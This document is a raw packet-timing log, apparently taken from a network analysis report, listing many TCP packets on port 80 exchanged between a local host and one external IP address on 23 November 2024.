                                                                                                                      Nov 23, 2024 21:09:25.573215961 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.573421955 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.573689938 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.574090958 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.574219942 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.574307919 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.575037003 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.575153112 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.575330019 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.575978041 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.576091051 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.576129913 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.577013016 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.577145100 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.577195883 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.577877998 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.577892065 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.577955961 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.578803062 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.578888893 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.578934908 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.579823017 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.579879045 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.579971075 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.580697060 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.580818892 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.581072092 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.581633091 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.581763983 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.581801891 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.582590103 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.582660913 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.582779884 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.583508968 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.583601952 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.584055901 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.584431887 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.584553003 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.584611893 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.585386992 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.585494995 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.585557938 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.586328030 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.586415052 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.586458921 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.587275028 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.587372065 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.587467909 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.588331938 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.588366985 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.588423967 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.589144945 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.589320898 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.589726925 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.590123892 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.590267897 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.590310097 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.591018915 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.591139078 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.591283083 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.591948986 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.592055082 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.592108011 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.592900991 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.593009949 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.593095064 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.593837023 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.593903065 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.594049931 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.730027914 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.730055094 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.730220079 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.730397940 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.730482101 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.730885983 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.731319904 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.731460094 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.732256889 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.732336044 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.732409954 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.732469082 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.733139038 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.733241081 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.734106064 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.734189987 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.734204054 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.734360933 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.735027075 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.735117912 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.735346079 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.735963106 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.736076117 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.736929893 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.737052917 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.737087965 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.737087965 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.737863064 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.737968922 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.738795042 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.738920927 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.738923073 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.739763021 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.739866018 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.739898920 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.739898920 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.740665913 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.740732908 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.741601944 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.741705894 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.741717100 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.742336035 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.742557049 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.742669106 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.743371964 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.743490934 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.743628979 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.744438887 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.744590044 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.744620085 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.744620085 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.745523930 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.745625019 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.746371984 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.746447086 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.746483088 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.746526957 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.747241974 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.747385979 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.747487068 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.748178959 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.748364925 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.748972893 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.749119997 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.749224901 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.750066996 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.750216007 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.750228882 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.750289917 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.751012087 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.751199961 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.751931906 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.752033949 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.752044916 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.752293110 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.752929926 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.753092051 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.753426075 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.753813982 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.753859997 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.754750013 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.754873037 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.754908085 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.754909039 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.755781889 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.755897045 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.756640911 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.756688118 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.756753922 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.756889105 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.766746044 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.774349928 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.774471998 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.774507046 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.774833918 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.775101900 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.775369883 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.775790930 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.775909901 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.776743889 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.776834965 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.776869059 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.776869059 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.777681112 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.777856112 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.777915001 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.778616905 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.778742075 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.779536009 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.779670000 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.779705048 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.779705048 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.780491114 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.780555964 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.781449080 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.781563044 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.782383919 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.782417059 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.782447100 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.782447100 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.783364058 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.783399105 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.784356117 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.784396887 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.784396887 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.784445047 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.785289049 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.785351038 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.786268950 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.786307096 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.786307096 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.786310911 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.786803961 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.787061930 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.787189007 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.788017035 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.788089037 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.788213015 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.788970947 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.789237976 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.789273977 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.789273977 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.789879084 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.789973021 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.790836096 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.790885925 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.790951014 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.790951014 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.791759014 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.791847944 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.792685986 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.792788982 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.792821884 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.792821884 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.793654919 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.793845892 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.794588089 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.794699907 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.795581102 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.795623064 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.795623064 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.931356907 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.931796074 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.931849003 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.931859970 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.931936026 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.931936026 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.932538033 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.932724953 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.932982922 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.933396101 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.933516979 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.933871984 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.934334040 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.934428930 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.935324907 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.935405970 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.935446978 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.935702085 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.936238050 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.936357021 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.936991930 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.937151909 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.937268972 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.938086987 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.938186884 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.938205004 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.938226938 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.939032078 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.939095020 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.939973116 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.940010071 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.940191031 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.940344095 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.940912962 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.941036940 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.941855907 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.941956043 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.941979885 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.942028999 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.942785978 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.942914009 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.943748951 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.943861961 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.943895102 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.943895102 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.944670916 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.944804907 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.945643902 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.945717096 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.945779085 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.945826054 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.946572065 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.946701050 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.946767092 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.947510958 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.947618008 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.948465109 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.948507071 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.948669910 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.948703051 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.949383974 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.949543953 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.950334072 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.950366020 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.950448990 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.950911045 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.951268911 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.951365948 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.952230930 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.952279091 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.952311039 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.952322006 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.953164101 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.953241110 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.953948975 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.954091072 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.954200983 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.955037117 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.955079079 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.955157042 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.955243111 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.956000090 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.956089020 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.956919909 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.957017899 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.957562923 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:25.957830906 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.957933903 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:25.957967043 CET4972680192.168.2.779.110.49.246
